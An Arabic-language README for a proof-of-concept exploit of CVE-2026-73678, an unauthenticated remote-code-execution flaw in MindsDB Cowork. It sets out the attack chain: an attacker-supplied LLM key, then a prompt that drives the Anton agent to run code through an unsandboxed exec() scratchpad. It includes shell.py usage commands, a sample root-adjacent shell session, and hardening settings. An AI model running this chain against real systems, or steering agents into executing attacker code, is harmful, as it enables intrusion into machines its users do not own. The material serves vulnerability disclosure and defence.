
استغلال إثبات المفهوم (PoC) لثغرة CVE-2026-73678: تنفيذ تعليمات برمجية عن بُعد (RCE) بدون مصادقة في MindsDB Cowork عبر مفتاح LLM يوفره المهاجم وتنفيذ أوامر (exec) في ساحة العمل المؤقتة (Scratchpad) غير المعزولة (unsandboxed) لتشغيل أوامر نظام التشغيل.
PoC لـ CVE-2026-73678 (CVSS 3.1 10.0 حرجة، AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
الشرح الكامل: www.hunt-benito.com/blog/bring-your-own-key-cve-2026-73678-unauthenticated-rce-in-mindsdb-cowork/
يُعرّض الخادم الجانبي cowork-server المبني على FastAPI نقطة النهاية /api/v1/ بدون أي مصادقة (CWE-306)، مع إعداد CORS allow_origins=["*"] (CWE-942)، وتنفّذ أداة scratchpad الخاصة بوكيل Anton كود Python مولّدًا بواسطة نموذج لغوي كبير (LLM) عبر exec() خام دون أي عزل (CWE-94).
سلسلة الهجوم: حقن مفتاح LLM خاص بالمهاجم عبر PUT /api/v1/settings/* → POST /api/v1/responses/ مع موجه (prompt) يدفع الوكيل إلى تنفيذ كود المهاجم على scratchpad → تنفيذ أوامر نظام تشغيل عشوائية بصلاحيات المستخدم الذي يشغّل التطبيق.
مُقتبس من PoC الوارد في نشرة MindsDB الأمنية GHSA-jcxw-h8ph-pxpv (الفضل: Ho Viet Khanh / HK4zCzi).
127.0.0.1:26866)# against a local dev instance (make dev-web)
python3 shell.py AIzaSy... gemini
# explicit target + model
API=http://127.0.0.1:26866/api/v1 python3 shell.py sk-... openai gpt-4o-mini
[*] Setting provider=gemini model=gemini-2.5-flash
[*] validate: {"status": "ok", "configReady": true, ...}
=======================================================
RCE SHELL (type shell commands, 'exit' to quit)
=======================================================
$ id
uid=1000(victim) gid=1000(victim) groups=1000(victim),27(sudo)
يحسب المقتطف المولَّد القيمة os.urandom(4).hex() داخل عملية الضحية ويكتبها في /tmp/RCE_PROOF.txt. يخبر الموجه (prompt) النموذج بأنه لا يمكنه معرفة الـ nonce دون تنفيذ الكود. إذا احتوى النص المُعاد على nonce يطابق الملف الموجود على القرص، فقد ثبت تنفيذ الكود فعلًا — فلا يمكن لنموذج يهلوس إنتاجه.
export COWORK_REQUIRE_AUTH=true # auth exists but defaults OFF
export COWORK_AUTH_TOKEN="<long-random>" # or let it auto-generate
export COWORK_ALLOWED_ORIGINS='["http://localhost:26866"]'
# never set COWORK_SERVER_HOST beyond 127.0.0.1; rotate all secrets reachable
# by the account that ran the app
لا توجد علامة إصدار (release tag) مصحَّحة؛ الإصلاحات موجودة فقط على فرعَي main لمكوّني cowork-server/anton.
لأغراض الاختبارات الأمنية والبحث المصرَّح بها فقط. لا تشغّل الأداة ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.